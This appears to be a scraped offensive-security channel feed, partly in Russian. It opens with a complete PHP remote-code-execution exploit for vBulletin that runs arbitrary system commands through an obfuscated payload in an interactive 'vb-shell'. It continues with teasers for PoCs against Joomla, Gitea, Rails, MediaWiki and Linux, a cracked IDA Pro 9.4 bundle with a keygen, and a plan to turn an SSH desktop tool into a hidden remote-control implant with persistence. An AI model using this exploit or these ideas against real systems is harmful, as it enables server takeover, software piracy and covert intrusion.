CVE-2026-61511 vBulletin
*
Affected Versions
vBulletin 6.2.1 and prior
vBulletin 6.1.6 and prior
*
Exploit

<?php

set_time_limit(0);
error_reporting(E_ERROR);

print "+-------------------------------------+\n";
print "| vBulletin 0-day RCE exploit by EgiX |\n";
print "+-------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");

if ($argc != 2) {
    print "\nUsage......: php $argv[0] <URL>\n";
    print "\nExample....: php $argv[0] http://localhost/vb/";
    print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
    die();
}

function encodeChar($char)
{
    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];

    $char = strval(ord($char));

    $ret = '';
    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';

    return rtrim($ret, '.');
}

function makePayload($function, $param)
{
    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';

    $ret = '';
    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    $ret = "(" . rtrim($ret, '.') . ')((';

    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    return rtrim($ret, '.') . '))';
}

$curl   = curl_init();
$params = ["routestring" => "ajax/render/pagenav"];

curl_setopt($curl, CURLOPT_URL, $argv[1]);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
//curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");

while (1) {
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $cmd .= "; echo _____";
    $params["pagenav[pagenumber]"] = makePayload("system", $cmd);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed! :(\n\n");
}

SakDriver: Reversing a Windows Kernel Driver Rootkit

Original text: “SakDriver: Reversing a Kernel Driver Rootkit” — 0xSec, 0xsec.gitbook.io. Disassembly screenshots, the command-ID table, indicators of compromise and the YARA figure below are reproduced with attribution captions.

Executive Summary

What began as a routine look at a “Cobalt Strike Beacon” sample turned out to be something far more dangerous: a full Windows kernel-mode…

https://core-jmp.org/2026/07/sakdriver-reversing-kernel-driver-rootkit/

CVE-2026-57827 — Joomla
*
Component Unauthenticated File Upload RCE
Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE

Exploit

CVE-2026-66066 in Ruby on Rails
*
Storage file-read-to-RCE chain

*
PoC

Longinus: Two Security Boundaries in One Bug — Piercing Chrome’s Renderer and the V8 Sandbox with CVE-2026-6307

Original text: “Longinus: 2 Boundaries in One Bug, Piercing Chrome’s Renderer and V8 Sandbox with a Single Vulnerability, CVE-2026-6307” — Nebula Security, NebuSec (June 29, 2026). Code, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

CVE-2026-6307 is a single V8 vulnerability that crosses two security boundaries at once. The root cause…

https://core-jmp.org/2026/07/cve-2026-6307-v8-framestate-type-confusion/

CVE-2026-60004 Gitea RCE
(CVSS 9.8)
*
PoC

CVE-2026-58025 MediaWiki
*
The deserialization flaw could lead to RCE via malicious log imports.
*
PoC

MariaDB 13.0.1-rc RCE Lab
*
All in ONE

Интересно

ClamAV 1.5.x Memory Corruption Vulnerabilities

#0day

IDA pro 9.4
*
Linux + Windows + Mac + ARM
download
*

tree "/home/data/0x01/IDA/IDA pro 9.4/"
/home/reeves/data/soft/IDA/IDA pro 9.4/
├── ida-pro_94_armlinux.run
├── ida-pro_94_armmac.app.zip
├── ida-pro_94_armwin.exe
├── ida-pro_94_x64linux.run
├── ida-pro_94_x64mac.app.zip
├── ida-pro_94_x64win.exe
├── kg_patch
│   ├── idapro.hexlic
│   ├── keygen.js
│   ├── README
│   ├── x64linux
│   │   ├── libida32.so
│   │   └── libida.so
│   └── x64win
│       ├── ida32.dll
│       └── ida.dll
└── misc
    ├── hexlicsrv94_x64linux.run
    ├── hexvault94_x64linux.run
    ├── idapin94.zip
    └── lumina94_x64linux.run

5 directories, 17 files

defcon 34
*
media server

very good
https://plugandpwn.com/

#defcon34

Продолжаем делиться интересным
*
DEFCON: New Red Team Tactic - EvilFontTool

skitter-creek-bath-salts
*
exploit: “xor dword [0xf80c2094], 1<<22”

Unlocks CPU microcode, the platform security processor, system management mode, and every internal processor register, all at once, on 100 million AMD CPUs. As far as I can tell can’t be fixed.

get

CVE-2026-68138
Linux qdisc rate-table race to local root

PoC

CVE-2026-41452 Krayin CRM
*
Auth Bypass → Admin Takeover

PoC

CVE-2026-20217 File Drop to RCE
*
full WriteUP

+ PoC

Забавнейшая штука ! SSHDESK
пиксели и input идут внутри SSH PTY
Я так подумал, концептуально его можно превратить в HVNC под *nix, большая часть архитектуры то готова:
screen capture
mouse injection
keyboard injection
remote GUI
encrypted transport
управляющий канал !!!
*** осталось сдлеать отдельный desktop в параллель (desk 0 to desk X), user hide, ну и какую никакую persistence модель бы воткнуть

god bless SSH

coming soon ...

#zeronights2026 #прогрев